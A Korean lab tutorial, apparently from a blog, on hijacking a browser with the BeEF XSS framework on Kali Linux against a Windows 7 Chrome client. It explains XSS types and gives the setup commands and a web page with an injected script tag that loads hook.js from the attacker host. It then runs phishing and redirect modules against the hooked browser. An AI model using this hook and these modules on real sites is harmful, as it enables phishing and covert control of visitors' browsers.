본문 바로가기

Learning/└◆Metasploit

metasploit 17. 웹 브라우저 해킹 BeFF

[실습] 칼리 리눅스 사용하기(웹 브라우저 해킹)

 

WEB Attack : XSS(Cross Side Script)

BeEF(비프) XSS 프레임워크: 사용자 권한 획득

 

BeEF(Browser Exploit Framwork)

사용자 웹 브라우저로 웹페이지를 읽을 때 자바 스크립트 형태로 동작하며

사용자 PC의 정보 수집 부터 메타 스플로잇 모듈을 이용한 광범위한 공격까지 가능한 도구이다.

 

XSS(Cross Side Script) 취약점

웹에서 사용하는 클라이언트 스크립트인 자바스크립트, VB 스크립트, CSS, 

에이젝스(Ajax)등을 통해 스크립트에 접근한 사용자들에게 특정한 액션을 일으키게 하는 것을 의미한다.

특정한 액셕이라는 것은 악성 코드 유포나, , 바이러스 배포등이 보통의 목적이다

또한 사용자 정보를 수집할 수도 있다.

 

XSS 취약점(웹 애플리케이션의 모든 변수 입력값에 대한 테스트)의 분류

(첫번째) Non-persistent(Reflected XSS)이메일, 메신저, 게시판 링크 기능등을 이용해 사용자를 유도하고

사용자가 이를 클릭했을 경우 액션이 발생된다. 하지만 웹사이트에 저장이 되어 있지 않기 때문에 

사용자들을 유도하려면 사용자의 클릭이 필요하다.


(두번째) Persistent(Stored XSS) 게시판 작성자, 제목, 내용 부분등 공격자가 삽입할 수 있는 

모든 부분에 스크립트를 삽입해 사용자를 유도하는 공격 기법이다. 보통 웹사이트(데이터베이스에 저장)에 남아 

있기 때문에 많은 사용자들을 쉽게 유도할 수 있다.

 

 

사용시스템

- KaliLinux

- Windows 7 (Chrome 브라우저)

 

BeEF 실행

     Beef 실행하는 방법

    Kalilinux > Exploitation Tools > BeFF XSS Framework > beff

    or

    # beef-xss


# beff-xss

-> beef-xss 명령어를 수행하면 웹페이지가 자동으로 뜨게 된다.

-> http://127.0.0.1:3000/ui/authentication


ID:beef

PASS:beef


# service postgresql start

데몬이 가동 되어 있어야 한다.

[참고]

# cd/usr/share/beef-xss

# build install

# beef-xss


클라이언트가 접근할 페이지 임의 생성

# cd /var/www/html

# rm -rf /var/www/html/*

# vi index.html

<HTML>

<BODY>

<CENTER><H1> It works! </H1></CENTER>

<script src="http://192.168.20.50:3000/hook.js"></script>

<P>This is the default web page for this server.</P>

<P>The Web Server software is running but no content has been added, yet.</P>

</BODY>

</HTML> 

-> <script> .... </script> 구문을 삽입한다.

-> 클라이언트에서 해당 페이지를 읽을 때 hook.js가 실행된다.


# service apache2 restart

# service apache2 status



(windows 7)

Chrome Broser를 이용하여 아래 URL을 확인한다.

http://192.168.20.50

-> 페이지를 확인한다.

(주의) Chrome Broswer 통해 확인, '인터넷익스플러워'는 잘되지 않는다.

-> 클라이언트에서는 hook.js 파일이 실행 되었는지는 모른다.

-> <F11><F12> 선택하여 소스보기를 한다.

엉뚱한 스크립트가 들어있다.

 


(KaliLinux)

왼쪽 Hooked Browsers 메뉴을 확인하면 사용자의 IP 정보가 보인다.

 

왼쪽 Hooked Browsers 에서 192.168.20.202 선택한다.

오른쪽 commands 항목 중 Module Tree 선택하고

> Social Engineering 선택하고

> Google Phishing 선택하고

Execute 버튼 클릭한다.


-> [참고] 색깔 표시의 의미

녹색 : 사용자가 그 모듈의 작동을 알아채지 못할 것이라는 뜻이다.

노란색 : 경고 메세지 상자 등을 통해서 사용자가 공격을 알아 챌 수 있음을 뜻한다.

빨간색 : 해당 공격이 작동할 가능성이 낮음을 뜻한다.

회색 : 대상 구성에 대해 해당 공격이 작동한다고 확인된 적이 없음을 뜻한다.


(KaliLinux)

Hooked Browsers > Online Browsers > 192.168.20.50 > 192.168.20.202

Commands > Module Tree > Browser >

Hooked Domain > Redirect Browser

- Redirect Browser 부분에 http://www.google.com 입력

- 오른쪽 하단 부분에 Execute 선택

 

(Windows 7)

변경된 웹페이지를 확인한다.

Sign in 하면 원래 google site로 리다이렉션 된다.

Redirect 된 웹페이지 확인

-> 임의의 페이지로 Redirect 시킬수 있다는 것을 확인했다.

 

beef-xss